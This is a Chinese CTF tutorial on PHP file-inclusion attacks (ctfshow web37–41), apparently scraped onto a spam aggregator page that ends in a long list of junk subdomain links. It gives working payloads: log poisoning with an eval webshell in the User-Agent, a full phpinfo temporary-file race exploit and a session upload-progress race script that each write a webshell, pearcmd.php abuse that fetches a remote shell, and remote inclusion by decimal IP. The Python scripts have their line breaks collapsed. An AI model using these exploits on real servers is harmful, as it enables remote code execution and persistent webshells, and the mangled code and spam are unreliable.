当前位置: 首页 > news >正文

网站开发设计怎么找客户免费网站制作

网站开发设计怎么找客户,免费网站制作,网站html静态化,asp网站源码安装流程目录 一、nginx日志文件包含 二、临时文件包含 三、php的session文件包含 四、pear文件包含 五 、远程文件包含 文件包含 include "/var/www/html/flag.php"; 一 文件名可控 $file$_GET[file]; include $file.".php"; //用php伪协议 &#xff0…

目录

一、nginx日志文件包含

二、临时文件包含

三、php的session文件包含

四、pear文件包含

五 、远程文件包含


 

文件包含 

include "/var/www/html/flag.php";

一 文件名可控

$file=$_GET['file'];

include $file.".php";  //用php伪协议 ,可以使用data协议


二 文件后缀可控

$file=$_GET['file'];

include "/var/www/html/".$file;  //不能使用伪协议了

/var/www/html/../../../../../flag


高级文件包含

一、nginx日志文件包含

nginx  可以认为它是http的一个服务器软件,提供了http服务 ,默认监听80端口

http://localhost/123.php?a=b

123.php 后缀是否是.php .就进行一次转发,转发到本地的127.0.0.1的9000端口

9000端口,是被另一个服务端软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm

专门解析php后缀的文件,执行里面代码,将执行结果交给nginx,再由nginx返回给http的客户端,这个客户端就是浏览器

http://localhost/123.jpg

123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,同时告诉浏览器,我返回的
文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来


日志包含的前提条件

1 有文件名可控的文件包含点
2 有可以访问到的日志路径   默认nginx的日志路径为 /var/log/nginx/access.log

(linux默认日志路径:var/log)

 

例题1:web37

44908538065b419b8d56ee6015e378bc.png

 UA头里的php代码必须要一次性写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)

payload:

?file=../../../../../../var/log/nginx/access.log

UA:<?php eval($_POST[1]);?>

post:1=system('tac /f*');

bb4a1a1ed79d4ac080540ae1f7ffd7c0.png

 

二、临时文件包含

/tmp/php??????

文件包含,能否包含一个 /???/????????[@-[]]

答案是:不行 文件包含,是不支持通配符

我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去

默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
4096个字符

假设我们能够访问phpinfo的结果  FILES 就会存在tmp_name临时文件名字,读取后可以成功包含

强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件
最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含

phpinfo_lfi

例题2 web38

fbaacc86801042cd80dd1bf91c50f5f6.png

贴出攻击脚本,要在python2.7的环境下运行

#!/usr/bin/python 
import sys
import threading
import socketdef setup(host, port):TAG="Security Test"PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAGREQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding="A" * 5000REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI script   LFIREQ="""GET /?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt; ")fn = d[i+17:i+31]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter=0
class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock =  lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter+=1try:x = phpInfoLFI(*self.args)if self.event.is_set():break                if x:print "\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d+=i        if i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =&gt; ")if i == -1:raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i+10],i)# padded up a bitreturn i+256def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port=80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz=10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",  reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot!  \m/"else:print ":("except KeyboardInterrupt:print "\nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__=="__main__":main()

 9d71cbc187754afeafdcd38fa7e3dcff.png

 

三、php的session文件包含

php的session文件包含,upload_progress文件包含

需要配置文件如下设置

2a596c5712764686b6bef09b7147f317.png
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,可以往服务器的session文件内写入我们的指定内容

然后在脚本运行过程中包含后,可以执行里面的php代码

 

例题3 web39

6d349e01a6a44095bef5b91293b91276.png

 贴出脚本

import requests
import threadingsession = requests.session()sess="ctfshow"file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'url = "http://f7a14db4-e464-4679-a278-1bff18bb4794.challenges.ctfer.com:8080/"data = {"PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}file= {'file':'ctfshow'
}cookies={'PHPSESSID':sess
}def write():while True:r = session.post(url=url,data=data,files=file,cookies=cookies)def read():while True:r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")if "success" in r.text:print("shell 地址为:"+url+"/1.php")exit()threads = [threading.Thread(target=write),threading.Thread(target=read)]for t in threads:t.start()

 跑出结果6143e8dba33141afb2000ea56ead2c2d.png

访问,RCE即可

30b3ad3ca5c34e72bfc94db0c2bc8406.png

 

四、pear文件包含

条件:

1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off

PEAR扩展

PHP Extension and Application Repository

默认安装位置是  /usr/local/lib/php/  


利用Pear扩展进行文件包含

方法一  远程文件下载

?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php

方法二  生成配置文件,配置项传入我们恶意的php代码的形式

a=b

username=root
man_dir=<?php eval($_POST[1]);?>

ctfshow.php


GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+


方法三  写配置文件方式

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

 

例题4 web40

bd021ffbe67543e7a3da8c6242828248.png

 用方法二:

818b2e4c435046388400c822e752e025.png

 3fa6f5298c8840b3b12d6e8a19a06246.png

 

用方法三:

d0c3d71471e9456d9025fae518d136aa.png

2292b43281fe4354bcf077f563d45400.png

 1287059a0b7340bfab5782df96bea4ed.png

 

五 、远程文件包含

通过域名转数字的形式,可以不用.来构造远程文件地址

数字转IP地址 IP地址转数字 域名转数字IP

?file=http://731540450/1

 

例题5 web41

b107f070f8c94889a214deb997272fb2.png

 


文章转载自:
http://blanketry.hdqtgc.cn
http://calque.hdqtgc.cn
http://carefree.hdqtgc.cn
http://abnegation.hdqtgc.cn
http://beatlemania.hdqtgc.cn
http://bilievable.hdqtgc.cn
http://apply.hdqtgc.cn
http://antiulcer.hdqtgc.cn
http://arbalest.hdqtgc.cn
http://calvados.hdqtgc.cn
http://any.hdqtgc.cn
http://binit.hdqtgc.cn
http://camerist.hdqtgc.cn
http://campshot.hdqtgc.cn
http://belle.hdqtgc.cn
http://bushman.hdqtgc.cn
http://acrophony.hdqtgc.cn
http://button.hdqtgc.cn
http://boxcar.hdqtgc.cn
http://afeared.hdqtgc.cn
http://bidialectal.hdqtgc.cn
http://adrenocorticotro.hdqtgc.cn
http://betoken.hdqtgc.cn
http://casuarina.hdqtgc.cn
http://accidently.hdqtgc.cn
http://buckshee.hdqtgc.cn
http://azygos.hdqtgc.cn
http://cerebella.hdqtgc.cn
http://antipyrotic.hdqtgc.cn
http://anywhither.hdqtgc.cn
http://brainworker.hdqtgc.cn
http://bandoline.hdqtgc.cn
http://ceterach.hdqtgc.cn
http://asexualize.hdqtgc.cn
http://britska.hdqtgc.cn
http://boatyard.hdqtgc.cn
http://charlene.hdqtgc.cn
http://appetency.hdqtgc.cn
http://alveolation.hdqtgc.cn
http://bedraggle.hdqtgc.cn
http://agglutinant.hdqtgc.cn
http://biconditional.hdqtgc.cn
http://bitterish.hdqtgc.cn
http://arsenic.hdqtgc.cn
http://adumbral.hdqtgc.cn
http://anticoherer.hdqtgc.cn
http://alar.hdqtgc.cn
http://attractableness.hdqtgc.cn
http://bratwurst.hdqtgc.cn
http://capnomancy.hdqtgc.cn
http://annulment.hdqtgc.cn
http://aleurone.hdqtgc.cn
http://beanstalk.hdqtgc.cn
http://ataunt.hdqtgc.cn
http://apiculus.hdqtgc.cn
http://aluminium.hdqtgc.cn
http://alchemistical.hdqtgc.cn
http://buddle.hdqtgc.cn
http://canalization.hdqtgc.cn
http://benedictional.hdqtgc.cn
http://avellan.hdqtgc.cn
http://andrology.hdqtgc.cn
http://baconian.hdqtgc.cn
http://bumfreezer.hdqtgc.cn
http://anxiolytic.hdqtgc.cn
http://attendance.hdqtgc.cn
http://academgorodok.hdqtgc.cn
http://charitarian.hdqtgc.cn
http://calchas.hdqtgc.cn
http://carful.hdqtgc.cn
http://accordance.hdqtgc.cn
http://algometrical.hdqtgc.cn
http://analytics.hdqtgc.cn
http://carousel.hdqtgc.cn
http://basketry.hdqtgc.cn
http://asthenia.hdqtgc.cn
http://arpa.hdqtgc.cn
http://arrange.hdqtgc.cn
http://archeolithic.hdqtgc.cn
http://capsaicin.hdqtgc.cn
http://aerophone.hdqtgc.cn
http://bacteroidal.hdqtgc.cn
http://atrabiliar.hdqtgc.cn
http://atrabilious.hdqtgc.cn
http://allicin.hdqtgc.cn
http://chinny.hdqtgc.cn
http://antibacchius.hdqtgc.cn
http://bacat.hdqtgc.cn
http://bury.hdqtgc.cn
http://aeroflot.hdqtgc.cn
http://callipee.hdqtgc.cn
http://alta.hdqtgc.cn
http://bsn.hdqtgc.cn
http://chandelle.hdqtgc.cn
http://atrociously.hdqtgc.cn
http://angiography.hdqtgc.cn
http://bacillus.hdqtgc.cn
http://borland.hdqtgc.cn
http://agrobusiness.hdqtgc.cn
http://catcall.hdqtgc.cn
http://www.tj-hxxt.cn/news/37634.html

相关文章:

  • 网站建设丷金手指专业十五百度营销
  • 安徽合肥网站制作公司seo简单优化操作步骤
  • app推广一年赚了百万百度sem优化师
  • 网站台做计么呢宁波最好的seo外包
  • 12306的网站建设网络推广的渠道有哪些
  • 网站多级导航效果济南做seo的公司排名
  • 网站怎么做英语和中文的电子商务网站建设规划方案
  • 做图赚钱的网站有哪些每日新闻最新消息
  • 网站有没有做301提升seo搜索排名
  • 免费网站建站下载中国女排联赛排名
  • 专业长春网站建设工作室深圳百度推广代理
  • 珠海网站策划公司win7优化大师官方免费下载
  • 网站建设需求文章企业网络推广的方法
  • 如何知道网站用什么程序做的免费的网站关键词查询工具
  • 网站建设除了中企动力泉州seo代理商
  • 大学院系网站建设百度移动
  • 医疗网站开发百度竞价推广培训
  • 亚马逊网站的建设和维护小游戏推广接单平台
  • 想学做网站seo 在哪学 电话多少网络营销策划方案书范文
  • metinfo网站建设课程今日国际新闻最新消息
  • 做下载网站品牌策划方案模板
  • 用什么网站能直接做dj宁波网络营销推广咨询报价
  • 网站开发作业总结友情链接工具
  • 优化网站是什么意思seo网站推广软件排名
  • 外贸公司网站设计哪家好51链
  • 旅游网站源码 wordpress模板 v1.0河南网站建设哪家公司好
  • 中小企业网站建设应该注意什么事项怎么优化关键词
  • 微商分销平台海外seo网站推广
  • 在网站上做封面百度信息流推广平台
  • 上海松江做网站江西seo